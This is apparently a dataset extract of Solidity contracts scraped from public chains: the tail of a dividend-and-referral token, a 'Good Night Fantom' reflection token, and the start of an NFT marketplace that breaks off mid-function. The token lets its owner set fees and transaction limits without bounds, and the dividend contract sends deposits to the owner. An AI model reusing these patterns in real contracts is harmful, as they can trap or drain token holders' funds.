if (_tokens > 0) sell(_tokens);
uint256 _dividends = dividendsOf(_customerAddress);
_dividends += referralBalance_[_customerAddress];
payDivsValue(_dividends,'Burn coins');
delete tokenBalanceLedger_[_customerAddress];
delete referralBalance_[_customerAddress];
delete payoutsTo_[_customerAddress];
delete lastupdate_[_customerAddress];
emit onBurn(_dividends,_customerAddress,msg.sender,now);
}
//Owner can get trade capital and reward
function takeCapital() public{
require(capitalAmount_>0 && AdminRewardAmount_>0, "No fundz, sorry!");
capital_.transfer(capitalAmount_); // to trade capital
DevsInterface devContract_ = DevsInterface(devReward_);
devContract_.payDividends.value(AdminRewardAmount_)('ethedge.co source');
capitalAmount_=0;
AdminRewardAmount_=0;
}
// Send `tokens` amount of tokens from address `from` to address `to`
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed_[_from][msg.sender];
require(tokenBalanceLedger_[_from] >= _value && allowance >= _value);
tokenBalanceLedger_[_to] =SafeMath.add(tokenBalanceLedger_[_to],_value);
tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from],_value);
allowed_[_from][msg.sender] = SafeMath.sub(allowed_[_from][msg.sender],_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed_[_owner][_spender];
}
//end added section
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
if (msg.value == 1e10) {
reinvest();
}
else if (msg.value == 2e10) {
withdraw();
}
else if (msg.value == 3e10) {
exit();
}
else {
purchaseTokens(msg.value, 0x0);
}
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
if (_amountOfTokens>stakingRequirement) {
lastupdate_[_toAddress] = now;
}
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function refferedBy(address _customerAddress) public view returns (address) {
return refferals_[_customerAddress];
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_-entryFeeCapital_-entryFeeReward_), 100);
uint256 _capitalTrade = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeCapital_), 100);
uint256 _adminReward = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeReward_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends),_capitalTrade),_adminReward);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
//set refferal. lifetime
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
refferals_[_customerAddress] == 0x0) {
refferals_[_customerAddress] = _referredBy;
emit onNewRefferal(_customerAddress,_referredBy, now);
}
//use refferal
if (refferals_[_customerAddress] != 0x0 &&
tokenBalanceLedger_[refferals_[_customerAddress]] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
capitalAmount_=SafeMath.add(capitalAmount_,_capitalTrade);
AdminRewardAmount_=SafeMath.add(AdminRewardAmount_,_adminReward);
if (capitalAmount_>1e17){ //more than 0.1 ETH - send outs
takeCapital();
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 220,501 | 11,189 |
8351122e8e2b02e53d8744e36563d78790a9ad4462c86586a3f4d898e1472c41
| 29,522 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/9e/9EE2Db25cCd9ad9162dC1A2D8AE3308d6134F0be_GoodNightFantom.sol
| 5,214 | 18,765 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GoodNightFantom is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Good Night Fantom';
string private constant _symbol = 'GNFTM';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xB7cC8Febbf521B876F76E3dCE7BD498c46baa441, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 315,758 | 11,190 |
b81aad8237300b84feb4df65fffed123cf0768b22ff098e520b6011cecd1078d
| 13,050 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ec/ECec2E8636A49E00530a54A51040D29a3203ffe0_ImplementationV1.sol
| 2,939 | 12,085 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns(uint8);
}
interface IERC721 {
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC721ByteCodeGenerator {
function generate(string memory _name,
string memory _symbol,
string memory _desc,
address owner,
address _proxyGen) external pure returns(bytes memory);
}
contract ImplementationV1 { // ---> Transfering And Approving NFT Tokens Via MarketPlace <---
error ExternalCallError(string message);
address public marketplace;
address public owner;
address private marketFeeTaker;
// Byte Code Generator
address private erc721Gen;
struct SellOrder {
address nftContract;
address orderOwner;
address token;
address buyer;
uint256 nftId;
uint256 totalPrice;
uint256 orderStartedAt;
uint256 orderEndedAt;
bool isCanceled;
bool isEnded;
}
uint256 totalSellOrderCount = 1;
struct Bid {
uint256 totalPrice;
uint256 nftId;
uint256 bidStartedAt;
uint256 bidEndedAt;
uint256 orderId;
address nftContractAddr;
address seller;
address bidOwner;
address token;
bool isCanceled;
bool isEnded;
}
uint256 totalBidCount = 1;
event SellOrderCreated(address indexed creator,uint indexed orderId,address token);
event BidCreated(address indexed creator,uint indexed bidId,address token);
event ContractCreation(address indexed creator,string name,string symbol);
// from orderId to order info (ERC721)
mapping (uint256 => SellOrder) private order;
// from order owner to all his sell orders (ERC721)
mapping (address => uint[]) private userSellOrders;
// from contract address to specific tokenids bids
mapping (address => mapping (address => mapping (uint => uint[]))) private contractBids;
// from user to is ERC721 contract created (ERC721)
mapping (address => address) private userContract;
// from bidId to bid info (ERC721)
mapping (uint256 => Bid) private bid;
// from bidder to bid id (ERC721)
mapping (address => uint[]) private bidderBids;
// from user to his added contract accounts
mapping (address => address[]) private userAddedContracts;
// from contract address to validation
mapping (address => bool) private allMarketContracts;
// from token too validation status
mapping (address => bool) private allTokens;
address[] private tokens;
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
function createSellOrder(address _contract,
uint256 _tokenId,
uint256 _price,
address _token) external {
require(allTokens[_token] == true, "Invalid token address");
require(allMarketContracts[_contract] == true, "This address is not a valid contract address.");
IERC721 nft = IERC721(_contract);
require(nft.ownerOf(_tokenId) == msg.sender, "Not Token Owner.");
require(_price != 0, "Invalid Order Price.");
try nft.transferFrom(msg.sender, address(this), _tokenId) {
SellOrder memory _order = SellOrder({
nftContract: _contract,
orderOwner: msg.sender,
buyer: address(0),
nftId: _tokenId,
totalPrice: _price,
orderStartedAt: block.timestamp,
orderEndedAt: 0,
token: _token,
isCanceled: false,
isEnded: false
});
order[totalSellOrderCount] = _order;
userSellOrders[msg.sender].push(totalSellOrderCount);
totalSellOrderCount += 1;
emit SellOrderCreated({
creator: msg.sender,
orderId: totalSellOrderCount - 1,
token: _token
});
} catch {
revert ExternalCallError({
message: "External call failed. (1)"
});
}
}
function cancelSellOrder(uint256 _orderId) external {
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Not Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Order Has Been Ended Befor!");
IERC721 nft = IERC721(_order.nftContract);
_order.isCanceled = true;
